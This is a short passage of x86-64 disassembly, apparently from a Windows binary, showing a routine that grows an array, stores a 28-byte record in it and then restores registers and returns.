movss dword [rsp + 0x24], xmm1
jmp 0x140002ff4
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, r14
call fcn.14001f1c0
movsxd rax, dword [r14]
movups xmm0, xmmword [rsp + 0x30]
movsd xmm1, qword [rsp + 0x40]
imul rcx, rax, 0x1c
mov rax, qword [r14 + 8]
movups xmmword [rcx + rax], xmm0
movsd qword [rcx + rax + 0x10], xmm1
mov dword [rcx + rax + 0x18], 0
inc dword [r14]
mov r14, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x98]
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x70
pop rbp
ret